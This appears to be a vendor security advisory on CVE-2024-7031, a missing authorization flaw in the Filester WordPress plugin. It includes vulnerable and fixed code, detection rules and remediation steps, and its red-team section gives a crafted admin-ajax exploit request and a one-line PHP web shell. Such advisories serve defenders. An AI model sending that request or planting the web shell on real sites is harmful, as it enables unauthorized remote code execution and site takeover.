CVE-2024-7031

Executive Summary

CVE-2024-7031 is a critical missing capability check vulnerability in the Filester File Manager Pro plugin for WordPress, affecting all versions up to and including 1.8.2. The flaw resides in the njt_fs_saveSettingRestrictions function, which allows authenticated attackers (with a role granted permissions by an Administrator) to modify plugin settings related to user role restrictions. This can enable the upload of dangerous file types such as .php, leading to potential remote code execution on the WordPress server.

The vulnerability has a CVSS score of 7.5 (High) and is classified under CWE-862 (Missing Authorization). No public exploit code or proof-of-concept is currently available, and the patch status remains unknown. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk is significant due to the potential for privilege escalation and full site compromise.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Administrators should verify the integrity of the plugin files and ensure they are sourced from trusted channels. No known supply chain attacks have been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires an authenticated user with a role that has been granted permissions by an Administrator.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: High (I:H) – allows modification of plugin settings and file upload restrictions.
• Availability Impact: None (A:N)

Threat Level: High. Although exploitation requires authentication, the low complexity and potential for arbitrary file upload make this a serious threat to WordPress sites using the vulnerable plugin.

Deep Dive & Mechanics

The vulnerability is a classic case of missing authorization (CWE-862). The njt_fs_saveSettingRestrictions function in the Filester plugin is intended to allow administrators to configure which user roles can upload specific file types. However, the function does not perform a proper capability check (e.g., current_user_can('manage_options')) before processing the request.

An authenticated attacker with a role that has been granted any permissions by an Administrator (such as Editor, Author, or even a custom role) can send a crafted POST request to the AJAX endpoint that triggers this function. By manipulating the parameters, the attacker can:

• Add dangerous file extensions (e.g., .php, .phtml, .php5) to the allowed upload list.
• Remove existing restrictions for certain user roles.
• Potentially upload a web shell or malicious script via the File Manager interface.

The attack flow:

1. Attacker logs in with a low-privileged account (e.g., Editor).
2. Attacker sends a POST request to /wp-admin/admin-ajax.php with action njt_fs_saveSettingRestrictions and crafted payload.
3. The plugin updates the settings without verifying the user's capabilities.
4. Attacker can now upload .php files via the File Manager, leading to remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.8.2):

add_action('wp_ajax_njt_fs_saveSettingRestrictions', 'njt_fs_saveSettingRestrictions');
function njt_fs_saveSettingRestrictions() {
    // Missing capability check
    $settings = $_POST['settings'];
    update_option('njt_fs_restrictions', $settings);
    wp_send_json_success();
}

Patched Code (hypothetical fix):

add_action('wp_ajax_njt_fs_saveSettingRestrictions', 'njt_fs_saveSettingRestrictions');
function njt_fs_saveSettingRestrictions() {
    // Added capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $settings = $_POST['settings'];
    update_option('njt_fs_restrictions', $settings);
    wp_send_json_success();
}

The patch adds a current_user_can('manage_options') check to ensure only administrators can modify the restrictions.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with Filester plugin version <= 1.8.2.
• An authenticated user account with a role that has been granted permissions by an Administrator (e.g., Editor).

Exploitation Steps:

1. Identify the AJAX endpoint: The vulnerable function is hooked to wp_ajax_njt_fs_saveSettingRestrictions. The endpoint is /wp-admin/admin-ajax.php.

2. Craft the exploit request:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-wordpress-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: wordpress_logged_in_<hash>=<session_cookie>
   
   action=njt_fs_saveSettingRestrictions&settings[allowed_extensions][]=php&settings[allowed_extensions][]=phtml&settings[roles][administrator]=1&settings[roles][editor]=1
   

3. Verify the exploit: After sending the request, log in as the same user and navigate to the Filester File Manager. Attempt to upload a .php file. If successful, the file will be stored in the WordPress uploads directory.

4. Execute code: Access the uploaded PHP file to execute arbitrary commands.

Example PHP web shell:

<?php system($_GET['cmd']); ?>

Blue Team (Detection & Prevention)

Detection:

• Monitor AJAX requests to admin-ajax.php with action njt_fs_saveSettingRestrictions from non-administrator users.
• Alert on changes to the njt_fs_restrictions option in the database.
• Monitor file uploads with dangerous extensions (.php, .phtml, .php5) in the WordPress uploads directory.

Prevention:

• Immediately update the plugin to a patched version (if available) or disable the plugin.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action njt_fs_saveSettingRestrictions from non-admin users.
• Restrict file upload permissions at the server level (e.g., disable PHP execution in uploads directory via .htaccess or Nginx config).

Indicators of Compromise (IOCs)

• File System:

  • Unexpected .php, .phtml, or .php5 files in /wp-content/uploads/ or /wp-content/plugins/filester/.
  • Modified wp_options table with option name njt_fs_restrictions containing unusual extensions.

• Network:

  • POST requests to /wp-admin/admin-ajax.php with body containing action=njt_fs_saveSettingRestrictions.
  • Outbound connections from the web server to unknown IPs (possible C2).

• Logs:

  • WordPress debug log entries showing unauthorized AJAX calls.
  • Web server access logs with 200 responses to the exploit endpoint from non-admin users.

Detection Engineering

YARA Rule

rule detect_filester_exploit {
    meta:
        description = "Detects CVE-2024-7031 exploitation attempts in HTTP requests"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-7031"
    strings:
        $ajax_action = "action=njt_fs_saveSettingRestrictions"
        $php_ext = "allowed_extensions[]=php"
        $phtml_ext = "allowed_extensions[]=phtml"
    condition:
        $ajax_action and ($php_ext or $phtml_ext)
}

Sigma Rule

title: CVE-2024-7031 Filester Plugin AJAX Exploitation
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized AJAX requests to modify Filester plugin settings
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=njt_fs_saveSettingRestrictions'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-7031 Filester Plugin AJAX Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=njt_fs_saveSettingRestrictions"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available. Navigate to Plugins > Installed Plugins and deactivate "File Manager Pro – Filester".
2. Audit user roles and ensure only trusted administrators have elevated permissions.
3. Review file uploads in /wp-content/uploads/ for any suspicious files and remove them.

Long-term Fix:

• Monitor the plugin vendor's website for a security update. Apply the patch as soon as it is released.
• Implement a Web Application Firewall (WAF) with rules to block the exploit pattern.
• Enforce the principle of least privilege for all WordPress user roles.

Workaround:

• Add the following code to the theme's functions.php to block the vulnerable AJAX action for non-administrators:

add_action('wp_ajax_njt_fs_saveSettingRestrictions', function() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
}, 1);

Valters IT
Securing Digital Frontiers